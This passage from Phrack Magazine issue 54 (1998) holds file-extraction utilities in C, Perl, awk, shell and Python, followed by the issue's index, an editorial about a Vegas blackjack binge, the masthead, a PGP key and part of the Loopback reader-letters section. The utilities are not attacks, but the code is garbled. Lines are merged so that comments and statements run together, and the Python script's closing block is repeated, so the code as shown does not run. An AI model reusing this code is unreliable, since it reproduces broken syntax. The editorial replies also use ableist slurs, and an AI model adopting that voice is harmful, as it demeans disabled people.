#define BEGIN_TAG "<++> "

#define END_TAG "<‑‑>"

#define BT_SIZE strlen(BEGIN_TAG)

#define ET_SIZE strlen(END_TAG)

struct f_name

{

u_char name[256];

struct f_name *next;

};

int

main(int argc, char **argv)

{

u_char b[256], *bp, *fn;

int i, j = 0;

FILE *in_p, *out_p = NULL;

struct f_name *fn_p = NULL, *head = NULL;

if (argc < 2)

{

printf("Usage: %s file1 file2 ... filen\n", argv[0]); exit(0);

}

/*

* Fill the f_name list with all the files on the commandline (ignoring * argv[0] which is this executable). This includes globs. */

for (i = 1; (fn = argv[i++]); )

{

if (!head)

{

if (!(head = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(1);

}

strncpy(head‑>name, fn, sizeof(head‑>name)); head‑>next = NULL;

fn_p = head;

}

else

{

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(1);

}

fn_p = fn_p‑>next;

strncpy(fn_p‑>name, fn, sizeof(fn_p‑>name)); fn_p‑>next = NULL;

}

}

/*

* Sentry node.

*/

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(1);

}

fn_p = fn_p‑>next;

fn_p‑>next = NULL;

/*

* Check each file in the f_name list for extraction tags. */

for (fn_p = head; fn_p‑>next; fn_p = fn_p‑>next)

{

if (!(in_p = fopen(fn_p‑>name, "r")))

{

fprintf(stderr, "Could not open input file %s.\n", fn_p‑>name); continue;

}

else fprintf(stderr, "Opened %s\n", fn_p‑>name); while (fgets(b, 256, in_p))

{

if (!strncmp (b, BEGIN_TAG, BT_SIZE))

{

b[strlen(b) ‑ 1] = 0; /* Now we have a string. */

j++;

if ((bp = strchr(b + BT_SIZE + 1, '/'))) {

while (bp)

{

*bp = 0;

mkdir(b + BT_SIZE, 0700);

*bp = '/';

bp = strchr(bp + 1, '/');

}

}

if ((out_p = fopen(b + BT_SIZE, "w"))) {

printf("‑ Extracting %s\n", b + BT_SIZE); }

else

{

printf("Could not extract '%s'.\n", b + BT_SIZE); continue;

}

}

else if (!strncmp (b, END_TAG, ET_SIZE))

{

if (out_p) fclose(out_p);

else

{

fprintf(stderr, "Error closing file %s.\n", fn_p‑>name); continue;

}

}

else if (out_p)

{

fputs(b, out_p);

}

}

}

if (!j) printf("No extraction tags found in list.\n"); else printf("Extracted %d file(s).\n", j);

return (0);

}

/* EOF */

<‑‑>

<++> EX/PMEU/extract.pl

# Daos <daos@nym.alias.net>

#!/bin/sh ‑‑ # ‑*‑ perl ‑*‑ ‑n

eval 'exec perl $0 ‑S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};

if (/^\<\‑\‑\>/) {close ct_ex; $opened=0;};

if ($opening) {

chop $curfile;

$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);

eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile");

print "Attempting extraction of $curfile\n"; $opened=1;

}

if ($opened && !$opening) {print ct_ex $_};

<‑‑>

<++> EX/PMEU/extract.awk

#!/usr/bin/awk ‑f

#

# Yet Another Extraction Script

# ‑ <sirsyko>

#

/^\<\+\+\>/ {

ind = 1

File = $2

split ($2, dirs, "/")

Dir="."

while ( dirs[ind+1] ) { Dir=Dir"/"dirs[ind]

system ("mkdir " Dir" 2>/dev/null") ++ind

}

next

}

/^\<\‑\‑\>/ {

File = ""

next

}

File { print >> File }

<‑‑>

<++> EX/PMEU/extract.sh

#!/bin/sh

# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko> #

# note, this file will create all directories relative to the current directory # originally a bug, I've now upgraded it to a feature since I dont want to deal # with the leading / (besides, you dont want hackers giving you full pathnames # anyway, now do you :)

# Hopefully this will demonstrate another useful aspect of IFS other than # haxoring rewt

#

# Usage: ./extract.sh <filename>

cat $* | (

Working=1

while [ $Working ];

do

OLDIFS1="$IFS"

IFS=

if read Line; then

IFS="$OLDIFS1"

set ‑‑ $Line

case "$1" in

"<++>") OLDIFS2="$IFS" IFS=/

set ‑‑ $2 IFS="$OLDIFS2" while [ $# ‑gt 1 ]; do

File=${File:‑"."}/$1

if [ ! ‑d $File ]; then

echo "Making dir $File"

mkdir $File

fi

shift

done

File=${File:‑"."}/$1 echo "Storing data in $File" ;;

"<‑‑>") if [ "x$File" != "x" ]; then

unset File

fi ;;

*) if [ "x$File" != "x" ]; then

IFS=

echo "$Line" >> $File

IFS="$OLDIFS1"

fi

;;

esac

IFS="$OLDIFS1"

else

echo "End of file"

unset Working

fi

done

)

<‑‑>

<++> EX/PMEU/extract.py

#! /bin/env python

# extract.py Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:

"""Looks like a file, but doesn't do anything."""

def write(self, data): pass

def close(self): pass

def extract(input, verbose = 1):

"""Read a file from input until we find the end token."""

if type(input) == type('string'):

fname = input

try: input = open(fname)

except IOError, (errno, why):

print "Can't open %s: %s" % (fname, why) return errno

else:

fname = '<file descriptor %d>' % input.fileno()

inside_embedded_file = 0

linecount = 0

line = input.readline()

while line:

if not inside_embedded_file and line[:4] == '<++>':

inside_embedded_file = 1

linecount = 0

filename = string.strip(line[4:])

if mkdirs_if_any(filename) != 0:

pass

try: output = open(filename, 'w')

except IOError, (errno, why):

print "Can't open %s: %s; skipping file" % (filename, why) output = Datasink()

continue

if verbose:

print 'Extracting embedded file %s from %s...' % (filename,

fname),

elif inside_embedded_file and line[:4] == '<‑‑>': output.close()

inside_embedded_file = 0

if verbose and not isinstance(output, Datasink): print '[%d lines]' % linecount

elif inside_embedded_file:

output.write(line)

# Else keep looking for a start token.

line = input.readline()

linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):

"""Check for existance of /'s in filename, and make directories."""

path, file = os.path.split(filename)

if not path: return

errno = 0

start = os.getcwd()

components = string.split(path, os.sep)

for dir in components:

if not os.path.exists(dir):

try:

os.mkdir(dir)

if verbose: print 'Created directory', path

except os.error, (errno, why):

print "Can't make directory %s: %s" % (dir, why) break

try: os.chdir(dir)

except os.error, (errno, why):

print "Can't cd to directory %s: %s" % (dir, why) break

os.chdir(start)

return errno

def usage():

"""Blah."""

die('Usage: extract.py [‑V] filename [filename...]')

def main():

try: optlist, args = getopt.getopt(sys.argv[1:], 'V') except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = ['‑v', filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass

except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = [filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass # No messy traceback. <‑‑>

54

- Introduction by Phrack Staff

- Phrack Loopback by Phrack Staff

- Phrack Line Noise by various

- Phrack Prophile on the parmaster by Phrack Staff

- Linux and Random Source Bleaching by phunda mental

- Hardening OpenBSD for Multiuser Environments by route

- Scavenging Connections On Dynamic-IP Networks by Seth McGann

- NT Web Technology Vulnerabilities by rfp

- Remote OS detection via TCP/IP Stack Fingerprinting by Fyodor

- Defeating Sniffers and Intrusion Detection Systems by horizon

- Phrack World News by disorder

- extract.c by Phrack Staff

Introduction

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 01 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 4 I N D E X

‑‑‑‑‑‑‑‑[ Living in SYN

Things that we want for Christmas: Functional remote operating system detection. Functional remote promiscuous mode detection. Functional agent based intrusion detection.

A note about this issue. Loyal and perceptive readers will notice this issue is a bit smaller. There are two reasons for this. The first is swift delivery. We are attempting to make Phrack issues a bit more svelte in order to pump them out on a more timely basis. The other reason is quality. There is enough garbage out there. We turn down at least half of all submissions to bring you the good stuff. Enjoy.

Rewind to August 1998.

It's Sunday morning in Las Vegas, about 5:00am‑ish. Angstrom and I decide to leave the Hard Rock Hotel. It's been a long night of drinking and gambling. I am up maybe $200. He's up about $30. We're both inebriated beyond repair. We return to Jackie Gaughan's Plaza Hotel and Casino, a wretched place where the old go to get older and everyone's got at least one foot in the grave. Back to the Future II? Biff's Pleasure Palace? Welcome to the Plaza Hotel.

Anyhow, we saunter on in, make our way over to the lounge and find Artimage, Asriel, Glyph, and Alhambra.* After some random dialogue (the specifics of which I have completely forgotten) Asriel tells me I should play some more Blackjack.

"I only have hundreds." was my reply. I didn't want to play anymore anyhow. This was the 6th day of my Vegas stint and I was burnt on gambling.

"<shrug> Bet a hundred then." says As.

"<shrug> Ok." I caved.

I plop down on a unoccupied blackjack table and plunk my hundred down. The dealer was a gentle looking 200 year old man from Laos.

"MONEY PLAYZ!" I say. I remember being very drunk.

"Money plays?" He questions? The pit boss wakes up.

"Money plays." I confirm

"Money plays!" He announces to the pit boss. The pit boss scribbles in his book.

Here's where the details get fuzzy. I can't remember the hand I was dealt, nor any subsequent cards. All I know is I played textbook blackjack. That's all you need to know here. I played according to the `book`. I lost that hundred. At that point, my blackjack betting system kicked in. I lay down 2 more bills.

"Money playz." I repeat.

"Money plays!" He announces to the pit boss. The pit boss scribbles something else in his little book.

My system is simple and almost foolproof. Bet small when you are just fucking around. Bet big when you want to win big. Lose a big hand? Double your bet. Lose again? Double it again. Lose again? Goto 1. The odds in blackjack tend to hover around .05% house favor (this can vary widely depending on several factors including the type of blackjack, the number of decks, the skill of the player, whether or not the player counts cards, the card counting scheme used, etc**). Eventually, odds are, you will win all your money back, AND THEN SOME!*** Of course, this relies on both your bankroll and the table maximum being unlimited. Small details I usually overlook.

So I lose the 2 hundred.

THE SYSTEM IS STILL IN FULL EFFECT. I plunk down another 4 small.

"Money plays?" The dealer musses? I nod.

"Money plays." The pit boss scribbles.

I lose another hand. Bye‑bye 4 hundred.

Asriel is laughing at this point.

"Dude, I think you should quit now." He offers.

"Nah. I'm not done yet."

Hrm. Time to gather my thoughts. No more namby‑pamby. Time to separate the armchair gamblers from the hard‑core haggard idiot types who end up having to live in Vegas. I peel off 10 hundreds. 1 large is placed in that little betting circle thingy.

"Money plays." The pit boss scribbles, Onlookers gawk, I pray.

Now this hand I remember distinctly. First card: an 8. Hrm. Second card: a 6. Ugh. Dealer shows an 8. FUCK. Oh. Good. Well, that's $1700 well spent in about 2 minutes. Well. I had to hit. I get a 6. Wow. WOW! Dealer flips his hold card. A 10.

"HAHAHAHHAHAHAHAHAHA" I proclaim.

"10 blacks out" The dealer shouts. The pit boss stops writing.

"Want to be rated?" He asks.

"Nope! Bye!" And off I went to cash out.

* http://www.infonexus.com/~daemon9/PIX/Misc/defcon6/r00tdinner%2b/latenite3.jpg

** Actually, playing basic strategy alone can sometimes give you a pretty close to even odds (or even better then even). Usually, however, you will find that you will need to count cards in addition to basic strategy to have a real advantage.

*** Assoc. Editor's note: If you take this advice, chances are you'll be a very upset and angry gambler come next Defcon. Whine to route when you can't afford a hotel room, not me. Maybe he'll let you sleep on his floor.

A special shout‑out to Ron Rivest. It has worked its way down the grapevine that he reads Phrack. Add one more to the Super Elite People That REad Phrack (SEPTREP) list. If you are or know one of these people, please send email to the editor to be added to the list (See linenoise for the list).

A word of caution about P54‑06 and P54‑10: If you attempt to apply the kernel patches for these articles in succession on the same system, the second one will fail at the syscalls.master file. You will need to patch this by hand. It's not hard. Go ahead and try it. I trust you.

Enjoy the magazine. It is by and for the hacking community. Period.

‑‑ Editor in Chief ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ route

‑‑ Associate Editor ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ alhambra

‑‑ Phrack World News ‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ disorder

‑‑ Phrack Publicity ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ dangergirl

‑‑ Phrack Webpage Guy ‑‑‑‑‑‑‑‑‑‑‑‑‑[ X

‑‑ Phrack Typographical fixer ‑‑‑‑‑[ silitek

‑‑ Phrack Special Consultant ‑‑‑‑‑‑[ redragon

‑‑ Mad Cow disease ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ sir dystic and dildog ‑‑‑‑‑‑‑‑ Elite ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> daveg

‑‑ Official Phrack/r00t auto ‑‑‑‑‑‑[ BMW M3

‑‑ Your trusted security advisors ‑[ p and sw_r

‑‑ Shout Outs and Thank Yous ‑‑‑‑‑‑[ kamee, vision, artimage, chris, meenk,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| the former SNI team, n8, phundie, par,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| radium, k0re, horizon, dhg, mds, mudge,

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| bioh, pm (for the elite dox)

Phrack Magazine V. 8, #54, Dec 25th, 1998. ISSN 1068‑1035 Contents Copyright (c) 1998 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editor in chief. Phrack Magazine is made available quarterly to the public, free of charge. Go nuts people.

Contact Phrack Magazine

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions: phrackedit@phrack.com

Commentary: loopback@phrack.com

Editor in Chief: route@phrack.com

Associate Editor: alhambra@phrack.com

Publicist: dangergrl@phrack.com

Phrack World News: disorder@phrack.com

Submissions to the above email address may be encrypted with the following key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6.2

mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j 0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG /v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=

=1iyt

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out plaintext. You certainly can subscribe in plaintext.

phrack:~# head ‑20 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of the * editors and contributors, truthful and accurate. When possible, all facts * are checked, all code is compiled. However, we are not omniscient (hell, * we don't even get paid). It is entirely possible something contained * within this publication is incorrect in some way. If this is the case, * please drop us some email so that we can correct it in a future issue. *

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for the * entirely stupid (or illegal) things people may do with the information * contained herein. Phrack is a compendium of knowledge, wisdom, wit, and * sass. We neither advocate, condone nor participate in any sort of illicit * behavior. But we will sit back and watch.

*

*

* Lastly, it bears mentioning that the opinions that may be expressed in the * articles of Phrack Magazine are intellectual property of their authors. * These opinions do not necessarily represent those of the Phrack Staff. */

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ T A B L E O F C O N T E N T S

1 Introduction Phrack Staff 22K

2 Phrack Loopback Phrack Staff 58K

3 Phrack Line Noise various 90K

4 Phrack Prophile on the parmaster Phrack Staff 26K 5 Linux and Random Source Bleaching phunda mental 174K 6 Hardening OpenBSD for Multiuser Environments route 90K 7 Scavenging Connections On Dynamic‑IP Networks Seth McGann 34K 8 NT Web Technology Vulnerabilities rfp 40K 9 Remote OS detection via TCP/IP Stack Fingerprinting Fyodor 58K 10 Defeating Sniffers and Intrusion Detection Systems horizon 100K

11 Phrack World News Disorder 240K

12 extract.c Phrack Staff 32K

966K

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"...a bellvue in the mental hospital world of media whore web pages..." ‑ xanax on #phrack, 10‑13‑1998, when asked to comment on Antionline.

"This is not a tool we should take seriously, or our customers should take seriously..."

‑ Edmund Muth, Microsoft, as reported by the New York Times, referring to Back Orifice. (How many thousands of machines were owned with BO?)

*deraadt* your style is so unlike anyone elses, that is makes no sense that you have this "style"

‑ Theo Deraadt, OpenBSD project leader, refering to route's code in this issue.

"So I thought of something useful I could do with the money. I bought a Nintendo 64 for one of my sisters, who has a slight mental retardation. The reason for this was because the doctors have always told us that things to stimulate her hand eye coordination would help her." ‑ Chameloen of the `masters of downloading` "hacking group", commenting on why he didn't spend money on medical care for his sister.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Loopback

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 02 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 54 L O O P B A C K

‑‑‑‑‑‑‑‑[ Phrack Staff

Phrack Loopback is your chance to write to the Phrack staff with your comments, questions, or whatever. The responses are generally written by the editor, except where noted. The actual letters are perhaps edited for format, but generally not for grammar and/or spelling. We try not to correct the vernacular, as it often adds a colorful perspective to the letter in question.

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My boyfriend turned homself into a transexual and dumped me for another guy.What could you do to help me (please)show him how much I appreciate him? Or,what should I do?THIS letter is no prank.This truly happened and I was hoping for some advice from you so PLEASE don't blow up my computer.Sincerely,B.C.

[ I swear to god this is an actual letter. I can't make this stuff up (no sarcastic commentary needed here). ]

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An interesting zine you have, but I have to say my favourite part is the loopback section. The writing in the letters is passing at best, while the satirical commentary is absolutely first rate. I just read loopback from #53 and I just kept laughing. Way to go. Hey, as I say, don't take life seriously, it doesn't take you seriously.

[ Thank you. We aim to please. ]

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What is the system a school uses called? PBX? How can I hack the system and what type of priveleges can I gain?

LocoJ

[ You can listen to the school officials talking about how much of a retard they think you are and how they are going to hold you back another year. ]

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Have you ever wandered how people called hackers keep on annoying government agencies and major corporations?

[ I often find myself wandering that very thing. ]

Most secure government information is not a secret to these people, no protection guarantees safety against their breaking in.

[ No one can eat just one! ]

Some people may think that in order to be a hacker one must be extraordinary smart, use expensive equipment and have contacts with the underground world.

[ That's about the size of it. And we all have sex with models. That's key. ]

This is not true. Recent studies show that a computer user is at least twenty percent smarter than an average person.

[ Uh. Yah. That's a great statistic. Who doesn't use a computer these days? The only people not using computers are either mumbling retards or are hooked up to computers to live. ]

If you are reading this you are smart enough.

[ However, if you are *writing* it, evidently, you're not. ]

All the equipment you need is your computer and modem. And try to avoid contacts with the underground world ‑ they are trouble.

[ Indeed. Stay away from the people who really know what they are doing. Be sure to blanket yourself with blissful ignorance. Live a sheltered life alone. Stay away from people. They will only hurt you with words. ]

All you really need is information.

[ "..which you won't get here!" ]

For the first time information kept secret both by government and hackers is available to public. Our informational report contains everything you need to know about hacking including: *"Hackers 101" ‑ the ultimate and comprehensive step by step guide to how it's done. This incredible guide written by an accomplished hacker especially for beginners will answer following questions:

[ Accomplished at bathing himself and being able to tie his left shoelace and most of the right one. ]

‑What should you know about hacking and where to start?

[ Start at your local brothel! ]

‑Programs needed.

‑List of access numbers.

[ How about a list explaining what these numbers are supposed to access. ]

‑How keep yourself safe.

‑Cracking programs, what they do and how they work.

‑UNIX, an easy approach.

‑Password shadowing.

‑Dialouts.

‑Scanners.

‑Brute force hacking.

..and much more.

[ ‑programing for the ultimate idiot

‑hookers and pimps: a two day tutorial

‑circus animal social engineering

‑building chicken flavored air conditioners ]

*Hacker resources on the Internet: The most complete collection of real life hackers websites where you can find:

‑programs

‑tools

‑scripts

‑most recent know‑how and techniques

‑news from the world of hacking

[ NEWSFLASH: YOU SUCK ]

‑tones of other useful information.

You can receive our report as a printed material (only $9), on a floppy in *.txt format (only $7) or by email in *.txt format/ZIP file (only $7).

[ And you can receive a thump on the head from the Phrack staff if you actually send these precious retards any money. ]

For domestic orders S&H is $1. For orders from Alaska, Hawaii and foreign countries please add $5 for S&H. For email orders S&H does not apply. Order now and as a free bonus you will receive a guide to Internet sites with thousands of totally free software titles (limited time only). Send cash, check or money order to:

TWS, PO Box 1357 Rancho

Cordova, CA 95741.

For check orders please allow one week for clearance.

[ ...so i can ask my mom to cash it for me... ]

Disclaimer:

Please keep in mind that any information we provide is for educational purposes only.

[ Educational? Try mildly recreational at best. ]

TWS is not responsible for any actions of its clients.

[ ...because we have no clients... ]

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Before I start, if this is the wrong address I should be grovelling to then I apologize profusely.

[ It's probably not the wrong address, but I accept your apology for what will probably be an inane question. ]

I'm relatively new to the entire computer world. I mean I've had a computer for a number of years and the internet for about 15 months but I feel that I don't know enough.

[ As if one can ever feel that she `knows enough`. ]

I'm BORED with what I can do and I was wondering if you could tell me or

[ Bored with nothing I can understand. ]

perhaps face me in the direction I need to go to learn how to hack. The very basics. The amoeba level of hacking if you will.

[ Ok. Start small. Start with hacking napkins and forks and spoons, then slowly move onto more complex devices like drawers and scissors. Someday you can move on to wall clocks and `the clapper`. You'll get there eventually. ]

Ever since I've been online I've always wanted to know how to hack. You see the articles on captured hackers and the news on firms trying to boost online security and it makes you want to go out there do stuff.

So if you've got the

[ "Do stuff"? Well. You've certainly got the right mentality. Hey, maybe sometime I can come over to your house and we can watch T.V. or listen to CDs or something. ]

time, it would really be appreciated.

Much appreciated,

Dallor

0x6>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

do you have a chat room? i was told you could teach me some stuff about computers.i am very new to the computer world @ my old age.i mess my system at every 2weeks do to the fact i dont know what to do!

[ I suggest you look into other hobbies. Maybe nursery rhyming? ]

‑ naynay

[ Sha‑naynay! ]

0x7>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello, just wanted to congratulate you guys for an excellent magazine and keep up the hard work. Also I have noticed that

ppl can ask for things. So could I please have a two storey mansion, Porsche, Harley Davidson, yacht, five million dollars, seven beautiful girls (one for each night), ..................

........................................thank you :‑))

cheers Rundus

[ You are a shallow materialistic person Rundus. People all over the world are suffering from famine and disease. Maybe you should give some thought to them. ]

0x8>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ P53‑02@0x12: ... I would like to know more about marshmellows... ]

Well, since Phrack has gifted me with so much knowledge, it's time for me to start giving back!

[ NIGH time if you ask me... ]

Marshmellows date back to Ancient Egypt where the ancients took the roots from a mallow plant/tree and made it into a sticky paste. From there it was cooked to form a puffy yellowish treat for the Pharoahs and such. The mallow "treat" became popular in the 30's as a confectionary treat. However, due to the long process of making these treats, they did not reach the popularity of today until Marshmellow making was revolutionized in the 60's. The "jet‑puffed" method was introduced. The sticky base material was mixed with sugars and other additives and puffed using a airation type machine. The marshmellow comes out of the machine in long tubes and is cut to form the shape of what we know as marshmellows today.

For the history of corn flakes, SPAM, or Jello, please contact your neighborhood loser.

[ Hrm. I suppose you think marshmellows are in the upper echelon of confectioneries? WHAT GIVES YOU THE RIGHT? ]

My thirst for knowledge is not limited to computer systems. Sadly..

Ray K.

[ Tune in next issue when Ray gives a dissertation on Peter Scolari's career in the television industry entitled: "From Bosom Buddy to Honey I'm Drunk Again and Out of Work"... ]

0x9>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey!

I was wondering if you could help me to find some things?

[ Sorry bro. I don't know where your family is. I think they've ditched you. I say pick up and move on. ]

Well I'm in to games. And I know that x‑files have got a game with the same name. Do you know where I can find it so that I can download the game on my computer???

[ Hrm. Try Best Buy or maybe Babbages. ]

And do you know some good sites where you can find ONLY mp3s???

Thanks for your time

Cybers

[ What an excellent and unique nickname! ]

0xa>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Pretty clever.........I saw the web page on the tv........PHRACK......bein' where you come from wasn't hard to find this page.......

[ Uh. Rite. ]

Just thought it was hilarious and totally in the right to show that not everyone is as safe as they would like to think..... A SUPPORTER of your beliefs I am......

[ Cool. We need more zealots for our secret army. ]

Thanks fer showin hacks still live a breath beneath everyone else........

[ Huh? ]

after all it's only wrong if you get caught......consequences dictate the course of ACTION...(REV. JAMES KEENAN MAYNARD,tool)

[ Well, actually, getting caught is independent of equity. And letting consequences dictate the course of action seems rather backward and after‑the‑fact‑ish. ]

Bit‑Basher......

0xb>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Just thought I would write in to voice my concern about a growing problem in our community: Lamers and Idiots.

Alot of the time people ask me what makes up a lamer.

[ Perhaps they are asking you because you fit the mold so nicely. ]

IN my opinion, if you are 2 or more of these, you are a lamer/idiot.

[ In my opinion, you are an idiot if you make lists about what comprises idiocy. ]

1‑ unnecessarily ask for information that any damned idiot could find in 10 minutes on a search engine

[ Somehow I doubt people of any level of intelligence come to you for answers. Idiots can smell each other out pretty well. ]

2‑ Talk in leet‑speek ("haY d00dZ Eye'm uhn 3l33t hax0r, g1v3 m3 p455w0rd5!") and expect everyone to give you the slightest sliver of respect

[ Please don't ever email me or Phrack Magazine again. I don't care how much of a good idea it seems, don't do it. The heat death of the universe had better happen before I hear from you again. ]

3‑ Shoot your mouth off about stuff you know NOTHING about

[ Or in your case, ANYTHING. ]

4‑ Claim to run or own high sites (ArchAngel claiming to own the L0pht is an excellent example).

[ Who the hell is that? ]

5‑ Ask for exact instructions on how to hack a site

[ A little game I like to play when I'm bored is `find the moron`. Woop! There you are! ]

There's more criteria, I'm sure, but I just can't think of it.

[ BUT HOW WILL THE IDIOTS AMONG US COPE!@? ]

Newbies constantly ask to be taught.As for the newbies out there who are on the verge of becoming lamers ‑ I think the best advice we can

[ Oh. No. Nono. Don't do that. Please. `We`. Do not refer to us as peers. ]

give them is that hacking is not a "teachable" skill. It's something that has to be learned through experience ‑ you have to know how things work, how things interact, and that invlves educating yourself. Never rely on someone else to give you acurate information ‑ always look for the facts.

[ Good plan. Never attempt to learn from anyone. Be your own mentor. School yourself in ignorance. ]

Well, I'm not really sure what that rant was about but thanks for listening to it..

[ Well if you don't then I sure as hell have *no* fucking idea. ]

{BTW Phrack 53 was great. Keep it up.}

[ Hey Thanks! Always nice to hear when we're doing a good job! ]

0xc>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey, i'm new at this. how do i get started? see i want to find out some yahoo codes. is there anything i should know? i don't have a clue what is legal and what is not...

[ Ok. That's simple. `Cyberspace` is kinda like the Old West. There's one guy who hangs out and deters criminals with his magic busket of moral redemption. Any wrong‑doer who comes in contact with it instantly regrets his sin and is then forgiven. The busket is faulty though and sometimes (about 30% of the time) the person just explodes. However, scientists and alchemists from Brown University are working on a magic pill that will prevent this occasional exploding. It doesn't so much *prevent* the exploding though, as much as it pieces the person back together *after* the explosion. The rub is that you have to take the pill prior to explosion. And no one wants to take the pill because it's like a red flag to the authorities that you are a wrongdoer.

Oh wait, maybe that was a dream I had. ]

form Bisker

[ Shape‑of... a spider monkey! Form‑of... a bisker! ]

0xd>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I need help I know you must be thinking that I am some lamer with AOL and Windows who will never in his life become a hacker.

[ I kinda just had you pegged as someone who is scared of punctuation. ]

Well, most of that is true but I (Hopefully in time) will become a hacer.

[ Godspeed. ]

I need to know how do I protect my computer from other hackers?

